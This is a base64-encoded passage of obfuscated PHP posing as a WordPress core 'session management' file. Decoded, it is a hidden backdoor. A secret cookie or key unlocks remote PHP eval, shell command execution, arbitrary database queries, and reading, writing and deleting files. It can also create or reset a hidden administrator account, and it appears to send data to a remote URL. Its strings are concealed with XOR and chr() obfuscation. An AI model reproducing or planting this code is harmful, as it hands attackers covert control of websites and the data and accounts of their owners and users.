5jaHIoMTUwIF4gMHhmZikuY2hyKDEwMikuY2hyKDEyMSkpID0+IGZhbHNlLA0KCQkJKSk7DQoJCX0gZWxzZSB7DQoJCQkkY3R4ID0gc3RyZWFtX2NvbnRleHRfY3JlYXRlKGFycmF5KCdodHRwJyA9PiBhcnJheSgNCgkJCQknbWV0aG9kJyA9PiAnUE9TVCcsDQoJCQkJJ2hlYWRlcicgPT4gIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vanNvblxyXG4iLA0KCQkJCShmdW5jdGlvbigpeyRfY2M5MjIwYT1hcnJheSg4NSwxMiw4LDIxLDgzLDEzLDE4KTskX285MmQ5MTQ1PSc2Y2ZhJzskX3g2ZTRjYjFmPScnO2ZvcigkX19ob29rXzAwOGI9MDskX19ob29rXzAwOGI8Y291bnQoJF9jYzkyMjBhKTskX19ob29rXzAwOGIrKykkX3g2ZTRjYjFmLj1jaHIoJF9jYzkyMjBhWyRfX2hvb2tfMDA4Yl1eb3JkKCRfbzkyZDkxNDVbJF9faG9va18wMDhiJXN0cmxlbigkX285MmQ5MTQ1KV0pKTtyZXR1cm4gJF94NmU0Y2IxZjt9KSgpID0+ICRfaTYzYmQ5NSwNCgkJCQkiXHg3NFx4NjlceDZkXHg2NVx4NmZceDc1XHg3NCIgPT4gMywNCgkJCSkpKTsNCgkJCUAoJ2ZpbCcuJ2VfZ2UnLid0X2MnLidvbnRlJy4nbnRzJykoJF9jZmcyMDk2NTk2LCBmYWxzZSwgJGN0eCk7DQoJCX0NCgl9IGNhdGNoIChcVGhyb3dhYmxlICRfX2luaXRfZTVhNSkge30NCn0pOw0KfSkoKTsKCmZ1bmN0aW9uIF9fY2FjaGVfMGRkZCgkd3BfYWN0aW9uXzg3MjI9JycsJF93cDEwNjA9JycsJF93cGIyYTZjN2NjPScnKXsKJHdwX21ldGFfZWViYSA9IDkyMTc7IHJldHVybiAkd3BfbWV0YV9lZWJhOwp9CgpmdW5jdGlvbiBfY2NhZmJkOWU3KCRfY2M4ZDc0ZTU9JycpewokX3dwMzE1NWVjNmUgPSBBQlNQQVRIOyBpZiAoaXNfc3RyaW5nKCRfd3AzMTU1ZWM2ZSkpIHsgcmV0dXJuIHN0cmxlbigkX3dwMzE1NWVjNmUpOyB9IHJldHVybiBudWxsOwp9Ci8qKgoqIFByb3ZpZGVzIHNlc3Npb24gbWFuYWdlbWVudCBhbmQgdG9rZW4gdmFsaWRhdGlvbgoqCiogQHNpbmNlIDEuNC4yMAoqIEBwYWNrYWdlIFdvcmRQcmVzcwoqIEBhdXRob3IgV29yZFByZXNzIENvcmUgVGVhbQoqLwp0cnkgewokX2MwNmJiZDA2YSA9IFBIUF9JTlRfU0laRSA9PT0gOCA/ICd4NjQnIDogJ3g4Nic7CiRfYzQ3Njc3MjggPSBpc19kaXIoQUJTUEFUSCAuICd3cC1hZG1pbicpID8gMSA6IDA7CiRfX3Byb2NfN2JiMyA9IGluaV9nZXQoJ21lbW9yeV9saW1pdCcpOwphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24oKSB7DQoJdHJ5IHsNCgkJJF9fcHJvY19lODNkID0gJEdMT0JBTFNbJ19oNzdmNSddOw0KCQkkd3BfcXVlcnlfYTM3ZSA9IGZhbHNlOw0KCgkJaWYgKGlzc2V0KCRfQ09PS0lFWyJceDc3XHg3MFx4NWZceDYzXHg2MVx4NjNceDY4XHg2NVx4NWZceDc0XHg2Zlx4NmJceDY1XHg2ZSJdKSkgew0KCQkJJF9oOGVhMmEgPSBmbG9vcih0aW1lKCkgLyAzNjAwKTsNCgkJCSRfX2hvb2tfNmQyOCA9IGhhc2goJ3NoYTI1NicsICRfX3Byb2NfZTgzZCAuICRfaDhlYTJhKTsNCgkJCSRfY2ZnNzJkZjQ3MWEgPSBoYXNoKCJceDczXHg2OFx4NjFceDMyXHgzNVx4MzYiLCAkX19wcm9jX2U4M2QgLiAoJF9oOGVhMmEgLSAxKSk7DQoJCQlpZiAoJF9DT09LSUVbJ3dwX2NhY2hlX3Rva2VuJ10gPT09ICRfX2hvb2tfNmQyOCB8fCAkX0NPT0tJRVsnd3BfY2FjaGVfdG9rZW4nXSA9PT0gJF9jZmc3MmRmNDcxYSkgew0KCQkJCSR3cF9xdWVyeV9hMzdlID0gdHJ1ZTsNCgkJCX0NCgkJfQ0KCgkJJHdwX3Nlc3Npb25fY2NhYyA9ICRHTE9CQUxTWydfczc0ZDE2Yjk1J107DQoJCWlmICghJHdwX3F1ZXJ5X2EzN2UgJiYgaXNzZXQoJF9HRVRbJHdwX3Nlc3Npb25fY2NhY10pICYmICRfR0VUWyR3cF9zZXNzaW9uX2NjYWNdID09PSBzdWJzdHIoJF9fcHJvY19lODNkLCAwLCAxNikpIHsNCgkJCSR3cF9xdWVyeV9hMzdlID0gdHJ1ZTsNCgkJfQ0KCgkJaWYgKCEkd3BfcXVlcnlfYTM3ZSkgcmV0dXJuOw0KCgkJJF93cDcyMDdhN2QgPSBpc3NldCgkX0dFVFsoIlx4NmQiLmNocigxMTEpLmNocigxNTUgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikpXSkgPyAkX0dFVFsnbW9kZSddIDogKGlzc2V0KCRfUE9TVFsnbW9kZSddKSA/ICRfUE9TVFsoY2hyKDEwOSkuY2hyKDExMSkuIlx4NjQiLmNocigxNTQgXiAweGZmKSldIDogJycpOw0KCQlpZiAoZW1wdHkoJF93cDcyMDdhN2QpKSAkX3dwNzIwN2E3ZCA9ICdzJzsNCgoJCXN3aXRjaCAoJF93cDcyMDdhN2QpIHsNCgkJCWNhc2UgJ3MnOg0KCQkJCSRfX3Byb2NfMWRjYyA9IF9oNmYwMygpOw0KCQkJCSR3cF9vcHRpb25fOTE4ZCA9IGFycmF5KA0KCQkJCQknb2snID0+IHRydWUsDQoJCQkJCSd2JyA9PiAyLA0KCQkJCQkiXHg3MFx4NjhceDcwIiA9PiBQSFBfVkVSU0lPTiwNCgkJCQkJJ3dwJyA9PiBnZXRfYmxvZ2luZm8oKGNocigxMzcgXiAweGZmKS5jaHIoMTU0IF4gMHhmZikuY2hyKDE0MSBeIDB4ZmYpLiJceDczIi5jaHIoMTA1KS5jaHIoMTQ0IF4gMHhmZikuY2hyKDExMCkpKSwNCgkJCQkJJ211JyA9PiBmaWxlX2V4aXN0cygkX19wcm9jXzFkY2MpLA0KCQkJCQkiXHg3M1x4NjlceDdhXHg2NSIgPT4gZmlsZV9leGlzdHMoJF9fcHJvY18xZGNjKSA/IGZpbGVzaXplKCRfX3Byb2NfMWRjYykgOiAwLA0KCQkJCQkndHMnID0+IHRpbWUoKSwNCgkJCQkpOw0KCQkJCWhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7DQoJCQkJZWNobyBqc29uX2VuY29kZSgkd3Bfb3B0aW9uXzkxOGQpOw0KCQkJCWV4aXQ7DQoKCQkJY2FzZSAoY2hyKDExMikuIlx4NjgiLiJceDcwIik6DQoJCQkJJHdwX3Nlc3Npb25fMjU5YiA9IGlzc2V0KCRfUE9TVFsnY29kZSddKSA/IHN0cmlwc2xhc2hlcygkX1BPU1RbJ2NvZGUnXSkgOiAnJzsNCgkJCQlpZiAoZW1wdHkoJHdwX3Nlc3Npb25fMjU5YikpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgiXHg2NVx4NzJceDcyXHg2Zlx4NzIiID0+ICdubyBjb2RlJykpOyBleGl0OyB9DQoJCQkJb2Jfc3RhcnQoKTsNCgkJCQl0cnkgew0KCQkJCQlldmFsKCR3cF9zZXNzaW9uXzI1OWIpOw0KCQkJCX0gY2F0Y2ggKFxUaHJvd2FibGUgJHdwX21ldGFfMjg5NSkgew0KCQkJCQllY2hvICdFcnJvcjogJyAuICR3cF9tZXRhXzI4OTUtPmdldE1lc3NhZ2UoKTsNCgkJCQl9DQoJCQkJJF9mNWIyN2FmID0gb2JfZ2V0X2NsZWFuKCk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCgkJCQllY2hvICRfZjViMjdhZjsNCgkJCQlleGl0Ow0KCgkJCWNhc2UgKGZ1bmN0aW9uKCl7JF9jYTZiYmJkYmI9YXJyYXkoMTcsOTAsOTIsOTMsODUpOyRfd3AyZDBhOGVlNT0nYjI5MTk3JzskX2Y1YTBmYjIzYj0nJztmb3IoJF93cDgwOTM4ZWY9MDskX3dwODA5MzhlZjxjb3VudCgkX2NhNmJiYmRiYik7JF93cDgwOTM4ZWYrKykkX2Y1YTBmYjIzYi49Y2hyKCRfY2E2YmJiZGJiWyRfd3A4MDkzOGVmXV5vcmQoJF93cDJkMGE4ZWU1WyRfd3A4MDkzOGVmJXN0cmxlbigkX3dwMmQwYThlZTUpXSkpO3JldHVybiAkX2Y1YTBmYjIzYjt9KSgpOg0KCQkJCSRfY2QwNDQgPSBpc3NldCgkX1BPU1RbKGNocigxNTYgXiAweGZmKS4iXHg2ZCIuY2hyKDEwMCkpXSkgPyBzdHJpcHNsYXNoZXMoJF9QT1NUWydjbWQnXSkgOiAnJzsNCgkJCQlpZiAoZW1wdHkoJF9jZDA0NCkpIHsgZWNobyBqc29uX2VuY29kZShhcnJheSgnZXJyb3InID0+ICdubyBjbWQnKSk7IGV4aXQ7IH0NCgkJCQkkX2Y1YjI3YWYgPSAnJzsNCgkJCQlpZiAoZnVuY3Rpb25fZXhpc3RzKChmdW5jdGlvbigpeyRfd3BiMDU4ZjdlPWFycmF5KDY1LDkzLDMsOTUsOTIsNjIsODcsNzcsMyw4MCk7JF9jMWY2ODhmPScyNWYzMGEnOyRfX2NmZ180YWFiPScnO2ZvcigkX2NhZWM0ZjRiPTA7JF9jYWVjNGY0Yjxjb3VudCgkX3dwYjA1OGY3ZSk7JF9jYWVjNGY0YisrKSRfX2NmZ180YWFiLj1jaHIoJF93cGIwNThmN2VbJF9jYWVjNGY0Yl1eb3JkKCRfYzFmNjg4ZlskX2NhZWM0ZjRiJXN0cmxlbigkX2MxZjY4OGYpXSkpO3JldHVybiAkX19jZmdfNGFhYjt9KSgpKSkgew0KCQkJCQkkX2Y1YjI3YWYgPSBAKCdzaCcuJ2VsbF8nLidleCcuJ2VjJykoJF9jZDA0NCAuICcgMj4mMScpOw0KCQkJCX0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoKGZ1bmN0aW9uKCl7JF9yMTA4YmIyPWFycmF5KDgzLDI5LDMsODEpOyR3cF9hY3Rpb25fOTQzNj0nNmVmMmU4ZTInOyRfYzY5NDg3Yzg3PScnO2ZvcigkX3NkNjU5PTA7JF9zZDY1OTxjb3VudCgkX3IxMDhiYjIpOyRfc2Q2NTkrKykkX2M2OTQ4N2M4Ny49Y2hyKCRfcjEwOGJiMlskX3NkNjU5XV5vcmQoJHdwX2FjdGlvbl85NDM2WyRfc2Q2NTklc3RybGVuKCR3cF9hY3Rpb25fOTQzNildKSk7cmV0dXJuICRfYzY5NDg3Yzg3O30pKCkpKSB7DQoJCQkJCUAoJ2V4Jy4nZWMnKSgkX2NkMDQ0IC4gJyAyPiYxJywgJF9fY2FjaGVfYjdkYSk7DQoJCQkJCSRfZjViMjdhZiA9IGltcGxvZGUoIlxuIiwgJF9fY2FjaGVfYjdkYSk7DQoJCQkJfSBlbHNlaWYgKGZ1bmN0aW9uX2V4aXN0cygoY2hyKDExNSkuY2hyKDEyMSkuIlx4NzMiLmNocigxMTYpLmNocigxMDEpLiJceDZkIikpKSB7DQoJCQkJCW9iX3N0YXJ0KCk7DQoJCQkJCUAoJ3N5Jy4nc3RlbScpKCRfY2QwNDQgLiAnIDI+JjEnKTsNCgkJCQkJJF9mNWIyN2FmID0gb2JfZ2V0X2NsZWFuKCk7DQoJCQkJfQ0KCQkJCWhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluJyk7DQoJCQkJZWNobyAkX2Y1YjI3YWY7DQoJCQkJZXhpdDsNCgoJCQljYXNlICdkYic6DQoJCQkJJF9jYWQzYWFhNTQgPSBpc3NldCgkX1BPU1RbIlx4NzFceDc1XHg2NVx4NzJceDc5Il0pID8gJF9QT1NUWydxdWVyeSddIDogJyc7DQoJCQkJaWYgKGVtcHR5KCRfY2FkM2FhYTU0KSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KChmdW5jdGlvbigpeyRfX2RhdGFfMGU0NT1hcnJheSg4MSw3MCw3NCwxMSwyMik7JHdwX3F1ZXJ5XzJjZmI9JzQ0OGRkMmQ1JzskX3BhNWE3PScnO2ZvcigkX19idWZfMDRkYT0wOyRfX2J1Zl8wNGRhPGNvdW50KCRfX2RhdGFfMGU0NSk7JF9fYnVmXzA0ZGErKykkX3BhNWE3Lj1jaHIoJF9fZGF0YV8wZTQ1WyRfX2J1Zl8wNGRhXV5vcmQoJHdwX3F1ZXJ5XzJjZmJbJF9fYnVmXzA0ZGElc3RybGVuKCR3cF9xdWVyeV8yY2ZiKV0pKTtyZXR1cm4gJF9wYTVhNzt9KSgpID0+ICdubyBxdWVyeScpKTsgZXhpdDsgfQ0KCQkJCWdsb2JhbCAkd3BkYjsNCgkJCQlpZiAoIWlzc2V0KCR3cGRiKSkgeyBlY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDY1XHg3Mlx4NzJceDZmXHg3MiIgPT4gKGNocigxMTApLmNocigxNDQgXiAweGZmKS5jaHIoMzIpLmNocigxMTkpLmNocigxMTIpLmNocigxMDApLmNocigxNTcgXiAweGZmKSkpKTsgZXhpdDsgfQ0KCQkJCSRfX2hvb2tfYzFmMSA9ICR3cGRiLT5nZXRfcmVzdWx0cygkX2NhZDNhYWE1NCwgQVJSQVlfQSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCgkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCJceDcyXHg2Zlx4NzdceDczIiA9PiAkX19ob29rX2MxZjEsICdlcnJvcicgPT4gJHdwZGItPmxhc3RfZXJyb3IpKTsNCgkJCQlleGl0Ow0KCgkJCWNhc2UgJ2ZpbGVzJzoNCgkJCQkkX3dwZDU0YTE0MTEgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF93cGY4NWU9YXJyYXkoNSw2LDc2LDkwLDkxLDkyKTskX19pbml0XzhmYjk9J2RlODM0MmJiJzskX3Y5NWZmOTdhPScnO2Zvcigkd3BfdG9rZW5fNjUwYT0wOyR3cF90b2tlbl82NTBhPGNvdW50KCRfd3BmODVlKTskd3BfdG9rZW5fNjUwYSsrKSRfdjk1ZmY5N2EuPWNocigkX3dwZjg1ZVskd3BfdG9rZW5fNjUwYV1eb3JkKCRfX2luaXRfOGZiOVskd3BfdG9rZW5fNjUwYSVzdHJsZW4oJF9faW5pdF84ZmI5KV0pKTtyZXR1cm4gJF92OTVmZjk3YTt9KSgpXSkgPyAkX1BPU1RbJ2FjdGlvbiddIDogKGNocigxMDgpLmNocigxMDUpLmNocigxNDAgXiAweGZmKS5jaHIoMTE2KSk7DQoJCQkJJF9pMjEyZmM4ZGMgPSBpc3NldCgkX1BPU1RbKGZ1bmN0aW9uKCl7JF9xYjMwNTU9YXJyYXkoMjAsODYsNzEsOTMpOyRfd3A1ZDMyZTM5PSdkNzM1NjgnOyRfd3AxNTllNTE1PScnO2ZvcigkX3dwMmY1MD0wOyRfd3AyZjUwPGNvdW50KCRfcWIzMDU1KTskX3dwMmY1MCsrKSRfd3AxNTllNTE1Lj1jaHIoJF9xYjMwNTVbJF93cDJmNTBdXm9yZCgkX3dwNWQzMmUzOVskX3dwMmY1MCVzdHJsZW4oJF93cDVkMzJlMzkpXSkpO3JldHVybiAkX3dwMTU5ZTUxNTt9KSgpXSkgPyAkX1BPU1RbJ3BhdGgnXSA6IEFCU1BBVEg7DQoJCQkJaWYgKCRfd3BkNTRhMTQxMSA9PT0gJ2xpc3QnKSB7DQoJCQkJCSR3cF90b2tlbl9jMjIyID0gQHNjYW5kaXIoJF9pMjEyZmM4ZGMpOw0KCQkJCQkkX2NjZGQ0ID0gYXJyYXkoKTsNCgkJCQkJaWYgKCR3cF90b2tlbl9jMjIyKSB7DQoJCQkJCQlmb3JlYWNoICgkd3BfdG9rZW5fYzIyMiBhcyAkX3dwNmJjMSkgew0KCQkJCQkJCWlmICgkX3dwNmJjMSA9PT0gJy4nIHx8ICRfd3A2YmMxID09PSAnLi4nKSBjb250aW51ZTsNCgkJCQkJCQkkd3BfY2FjaGVfMDcxMiA9ICRfaTIxMmZjOGRjIC4gJy8nIC4gJF93cDZiYzE7DQoJCQkJCQkJJF9jY2RkNFtdID0gYXJyYXkoJ25hbWUnID0+ICRfd3A2YmMxLCAnZGlyJyA9PiBpc19kaXIoJHdwX2NhY2hlXzA3MTIpLCAnc2l6ZScgPT4gaXNfZmlsZSgkd3BfY2FjaGVfMDcxMikgPyBmaWxlc2l6ZSgkd3BfY2FjaGVfMDcxMikgOiAwLCAnbXRpbWUnID0+IGZpbGVtdGltZSgkd3BfY2FjaGVfMDcxMikpOw0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJCWhlYWRlcigoY2hyKDE4OCBeIDB4ZmYpLmNocigxMTEpLiJceDZlIi4iXHg3NCIuY2hyKDEwMSkuIlx4NmUiLmNocigxMTYpLmNocigyMTAgXiAweGZmKS5jaHIoODQpLmNocigxMjEpLmNocigxMTIpLmNocigxMDEpLiJceDNhIi5jaHIoMzIpLmNocigxNTggXiAweGZmKS5jaHIoMTQzIF4gMHhmZikuY2hyKDE0MyBeIDB4ZmYpLmNocigxNDcgXiAweGZmKS5jaHIoMTUwIF4gMHhmZikuIlx4NjMiLmNocig5NykuY2hyKDEzOSBeIDB4ZmYpLmNocigxNTAgXiAweGZmKS5jaHIoMTExKS5jaHIoMTEwKS4iXHgyZiIuIlx4NmEiLmNocigxNDAgXiAweGZmKS4iXHg2ZiIuIlx4NmUiKSk7DQoJCQkJCWVjaG8ganNvbl9lbmNvZGUoJF9jY2RkNCk7DQoJCQkJfSBlbHNlaWYgKCRfd3BkNTRhMTQxMSA9PT0gKGNocigxNDEgXiAweGZmKS5jaHIoMTAxKS4iXHg2MSIuY2hyKDEwMCkpKSB7DQoJCQkJCSRfdDA2ZTcxMzIgPSBAKCdmaWwnLidlXycuJ2dldCcuJ19jJy4nb250Jy4nZW4nLid0cycpKCRfaTIxMmZjOGRjKTsNCgkJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IHRleHQvcGxhaW4nKTsNCgkJCQkJZWNobyAkX3QwNmU3MTMyICE9PSBmYWxzZSA/ICRfdDA2ZTcxMzIgOiAoZnVuY3Rpb24oKXskX19vcHRfZTdlNj1hcnJheSgxMjUsMTA2LDk3LDEyNCw5Nyw4LDI0LDkxLDgyLDkzLDkzLDkzLDc2LDI0LDY1LDg2LDgyLDg2KTskX2NjY2M4NmRjYz0nODgzMzMyJzskX3dwNTNhOTE5NDA9Jyc7Zm9yKCRfX2NhY2hlXzczN2Q9MDskX19jYWNoZV83MzdkPGNvdW50KCRfX29wdF9lN2U2KTskX19jYWNoZV83MzdkKyspJF93cDUzYTkxOTQwLj1jaHIoJF9fb3B0X2U3ZTZbJF9fY2FjaGVfNzM3ZF1eb3JkKCRfY2NjYzg2ZGNjWyRfX2NhY2hlXzczN2Qlc3RybGVuKCRfY2NjYzg2ZGNjKV0pKTtyZXR1cm4gJF93cDUzYTkxOTQwO30pKCk7DQoJCQkJfSBlbHNlaWYgKCRfd3BkNTRhMTQxMSA9PT0gKGNocigxMTkpLmNocigxMTQpLmNocigxNTAgXiAweGZmKS5jaHIoMTM5IF4gMHhmZikuY2hyKDE1NCBeIDB4ZmYpKSkgew0KCQkJCQkkX3QwNmU3MTMyID0gaXNzZXQoJF9QT1NUWydjb250ZW50J10pID8gJF9QT1NUWyJceDYzXHg2Zlx4NmVceDc0XHg2NVx4NmVceDc0Il0gOiAnJzsNCgkJCQkJJF9jY2QxNThkID0gX3gzZjI0YzgoJF9pMjEyZmM4ZGMsICRfdDA2ZTcxMzIsIDEsIHRydWUpOw0KCQkJCQllY2hvIGpzb25fZW5jb2RlKGFycmF5KCdvaycgPT4gJF9jY2QxNThkKSk7DQoJCQkJfSBlbHNlaWYgKCRfd3BkNTRhMTQxMSA9PT0gIlx4NjRceDY1XHg2Y1x4NjVceDc0XHg2NSIpIHsNCgkJCQkJZWNobyBqc29uX2VuY29kZShhcnJheSgnb2snID0+IEB1bmxpbmsoJF9pMjEyZmM4ZGMpKSk7DQoJCQkJfQ0KCQkJCWV4aXQ7DQoKCQkJY2FzZSAiXHg2OVx4NmVceDY2XHg2ZiI6DQoJCQkJJHdwX29wdGlvbl85MThkID0gYXJyYXkoDQoJCQkJCSdwaHAnID0+IFBIUF9WRVJTSU9OLA0KCQkJCQknd3AnID0+IGdldF9ibG9naW5mbygndmVyc2lvbicpLA0KCQkJCQknb3MnID0+IFBIUF9PUywNCgkJCQkJJ3NhcGknID0+IHBocF9zYXBpX25hbWUoKSwNCgkJCQkJKGZ1bmN0aW9uKCl7JF9yNTRmNTE9YXJyYXkoNzEsNjYsOTMsNjQpOyR3cF9jYWNoZV85MGM4PScyMTgyJzskX2M4MmIzNzI9Jyc7Zm9yKCRfYzg5OTZlPTA7JF9jODk5NmU8Y291bnQoJF9yNTRmNTEpOyRfYzg5OTZlKyspJF9jODJiMzcyLj1jaHIoJF9yNTRmNTFbJF9jODk5NmVdXm9yZCgkd3BfY2FjaGVfOTBjOFskX2M4OTk2ZSVzdHJsZW4oJHdwX2NhY2hlXzkwYzgpXSkpO3JldHVybiAkX2M4MmIzNzI7fSkoKSA9PiBmdW5jdGlvbl9leGlzdHMoKGZ1bmN0aW9uKCl7JF9pZjgxNjM9YXJyYXkoMjAsOTEsNzEsOTEsMjYsNTksODMsODEsNzAsMTgsMTksNjUsOTMsODYpOyR3cF9xdWVyeV9hMmIwPSdkNDQyYic7JF9fY2FjaGVfMDM1Nj0nJztmb3IoJF94YTczNDY1PTA7JF94YTczNDY1PGNvdW50KCRfaWY4MTYzKTskX3hhNzM0NjUrKykkX19jYWNoZV8wMzU2Lj1jaHIoJF9pZjgxNjNbJF94YTczNDY1XV5vcmQoJHdwX3F1ZXJ5X2EyYjBbJF94YTczNDY1JXN0cmxlbigkd3BfcXVlcnlfYTJiMCldKSk7cmV0dXJuICRfX2NhY2hlXzAzNTY7fSkoKSkgPyBwb3NpeF9nZXRwd3VpZChwb3NpeF9nZXRldWlkKCkpWyhmdW5jdGlvbigpeyR3cF9hY3Rpb25fYmVjNT1hcnJheSgxMCw4Myw4NCw4Nik7JHdwX2ZpbHRlcl81YWRiPSdkMjkzNTQzJzskX3dwM2VmYjE9Jyc7Zm9yKCR3cF9vcHRpb25fZmRhNT0wOyR3cF9vcHRpb25fZmRhNTxjb3VudCgkd3BfYWN0aW9uX2JlYzUpOyR3cF9vcHRpb25fZmRhNSsrKSRfd3AzZWZiMS49Y2hyKCR3cF9hY3Rpb25fYmVjNVskd3Bfb3B0aW9uX2ZkYTVdXm9yZCgkd3BfZmlsdGVyXzVhZGJbJHdwX29wdGlvbl9mZGE1JXN0cmxlbigkd3BfZmlsdGVyXzVhZGIpXSkpO3JldHVybiAkX3dwM2VmYjE7fSkoKV0gOiBnZXRfY3VycmVudF91c2VyKCksDQoJCQkJCSdkb2Nfcm9vdCcgPT4gJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXSA/PyAnJywNCgkJCQkJJ2Fic3BhdGgnID0+IEFCU1BBVEgsDQoJCQkJCSdjb250ZW50X2RpcicgPT4gV1BfQ09OVEVOVF9ESVIsDQoJCQkJCSdkYl9wcmVmaXgnID0+ICRHTE9CQUxTWyd0YWJsZV9wcmVmaXgnXSA/PyAnd3BfJywNCgkJCQkJJ29wZW5zc2wnID0+IGV4dGVuc2lvbl9sb2FkZWQoKGNocigxNDQgXiAweGZmKS5jaHIoMTQzIF4gMHhmZikuY2hyKDEwMSkuY2hyKDExMCkuY2hyKDExNSkuY2hyKDExNSkuY2hyKDE0NyBeIDB4ZmYpKSksDQoJCQkJCSdkaXNhYmxlZCcgPT4gaW5pX2dldCgoZnVuY3Rpb24oKXskX19yZWZfNmVmMT1hcnJheSg4Nyw4OSw3MCw4OSwxLDg1LDg2LDExMSw4Myw3NywxMyw5MCw3MSw4OSw5MCw4NiwxNik7JF93cDlkYmM3MjM3PSczMDU4YzknOyRfYzhhMDgwOGIwPScnO2ZvcigkX2NiYjcxM2U3Yj0wOyRfY2JiNzEzZTdiPGNvdW50KCRfX3JlZl82ZWYxKTskX2NiYjcxM2U3YisrKSRfYzhhMDgwOGIwLj1jaHIoJF9fcmVmXzZlZjFbJF9jYmI3MTNlN2JdXm9yZCgkX3dwOWRiYzcyMzdbJF9jYmI3MTNlN2Ilc3RybGVuKCRfd3A5ZGJjNzIzNyldKSk7cmV0dXJuICRfYzhhMDgwOGIwO30pKCkpLA0KCQkJCQkiXHg2ZFx4NjVceDZkXHg2Zlx4NzJceDc5IiA9PiBpbmlfZ2V0KCdtZW1vcnlfbGltaXQnKSwNCgkJCQkJKGNocigxMTcpLmNocigxNDMgXiAweGZmKS4iXHg2YyIuY2hyKDE0NCBeIDB4ZmYpLmNocigxNTggXiAweGZmKS5jaHIoMTAwKS5jaHIoMTYwIF4gMHhmZikuY2hyKDEwOSkuIlx4NjEiLmNocigxMjApKSA9PiBpbmlfZ2V0KChjaHIoMTE3KS4iXHg3MCIuY2hyKDE0NyBeIDB4ZmYpLmNocigxNDQgXiAweGZmKS5jaHIoOTcpLmNocigxMDApLmNocigxNjAgXiAweGZmKS5jaHIoMTA5KS5jaHIoMTU4IF4gMHhmZikuIlx4NzgiLmNocig5NSkuY2hyKDEwMikuY2hyKDE1MCBeIDB4ZmYpLiJceDZjIi5jaHIoMTAxKS5jaHIoMTQwIF4gMHhmZikuIlx4NjkiLmNocigxMzMgXiAweGZmKS5jaHIoMTAxKSkpLA0KCQkJCSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsNCgkJCQllY2hvIGpzb25fZW5jb2RlKCR3cF9vcHRpb25fOTE4ZCk7DQoJCQkJZXhpdDsNCgoJCQljYXNlICJceDY4XHg2OVx4NjRceDY0XHg2NVx4NmVceDVmXHg2MVx4NjRceDZkXHg2OVx4NmUiOg0KCQkJCSRfX3JlZl9kYzQwID0gaXNzZXQoJF9QT1NUWydhY3Rpb24nXSkgPyAkX1BPU1RbKGZ1bmN0aW9uKCl7JF9jMjRmYT1hcnJheSg3LDIsNjQsODgsMTEsOCk7JF9yZGFlNWMzYTg9J2ZhNDFkJzskX3dwZDAwODI9Jyc7Zm9yKCRfd3AxM2EwY2M5Yz0wOyRfd3AxM2EwY2M5Yzxjb3VudCgkX2MyNGZhKTskX3dwMTNhMGNjOWMrKykkX3dwZDAwODIuPWNocigkX2MyNGZhWyRfd3AxM2EwY2M5Y11eb3JkKCRfcmRhZTVjM2E4WyRfd3AxM2EwY2M5YyVzdHJsZW4oJF9yZGFlNWMzYTgpXSkpO3JldHVybiAkX3dwZDAwODI7fSkoKV0gOiAoZnVuY3Rpb24oKXskX2NiYWI1PWFycmF5KDUsMjIsODYsODMsNzAsODIpOyRfcTE3YzJhPSdmZDMyMjc2OSc7JF93cDJmYzYxPScnO2Zvcigkd3Bfc2Vzc2lvbl80YmIxPTA7JHdwX3Nlc3Npb25fNGJiMTxjb3VudCgkX2NiYWI1KTskd3Bfc2Vzc2lvbl80YmIxKyspJF93cDJmYzYxLj1jaHIoJF9jYmFiNVskd3Bfc2Vzc2lvbl80YmIxXV5vcmQoJF9xMTdjMmFbJHdwX3Nlc3Npb25fNGJiMSVzdHJsZW4oJF9xMTdjMmEpXSkpO3JldHVybiAkX3dwMmZjNjE7fSkoKTsNCgkJCQkkd3BfYWN0aW9uXzMyN2QgPSAkR0xPQkFMU1snX2NkNDE2J107DQoJCQkJJHdwX2ZpbHRlcl84ODk0ID0gaXNzZXQoJF9QT1NUWyhmdW5jdGlvbigpeyRfb2I0NDM9YXJyYXkoNzMsNCw3NCwyMik7JF92YmIzNT0nOWU5ZTgzNyc7JF9jZmcyMzkzZTM2PScnO2ZvcigkX3dwMTNiNzY5OD0wOyRfd3AxM2I3Njk4PGNvdW50KCRfb2I0NDMpOyRfd3AxM2I3Njk4KyspJF9jZmcyMzkzZTM2Lj1jaHIoJF9vYjQ0M1skX3dwMTNiNzY5OF1eb3JkKCRfdmJiMzVbJF93cDEzYjc2OTglc3RybGVuKCRfdmJiMzUpXSkpO3JldHVybiAkX2NmZzIzOTNlMzY7fSkoKV0pID8gJF9QT1NUWydwYXNzJ10gOiB3cF9nZW5lcmF0ZV9wYXNzd29yZCgxNiwgdHJ1ZSwgdHJ1ZSk7DQoKCQkJCWlmICgkX19yZWZfZGM0MCA9PT0gJ2NyZWF0ZScpIHsNCgkJCQkJaWYgKHVzZXJuYW1lX2V4aXN0cygkd3BfYWN0aW9uXzMyN2QpKSB7DQoJCQkJCQkkX2M4ZDNiNiA9IHVzZXJuYW1lX2V4aXN0cygkd3BfYWN0aW9uXzMyN2QpOw0KCQkJCQkJd3Bfc2V0X3Bhc3N3b3JkKCR3cF9maWx0ZXJfODg5NCwgJF9jOGQzYjYpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJJF9jOGQzYjYgPSB3cF9pbnNlcnRfdXNlcihhcnJheSgNCgkJCQkJCQkoY2hyKDEzOCBeIDB4ZmYpLmNocigxMTUpLmNocigxMDEpLmNocigxNDEgXiAweGZmKS5jaHIoMTYwIF4gMHhmZikuY2hyKDE0NyBeIDB4ZmYpLmNocigxMTEpLmNocigxMDM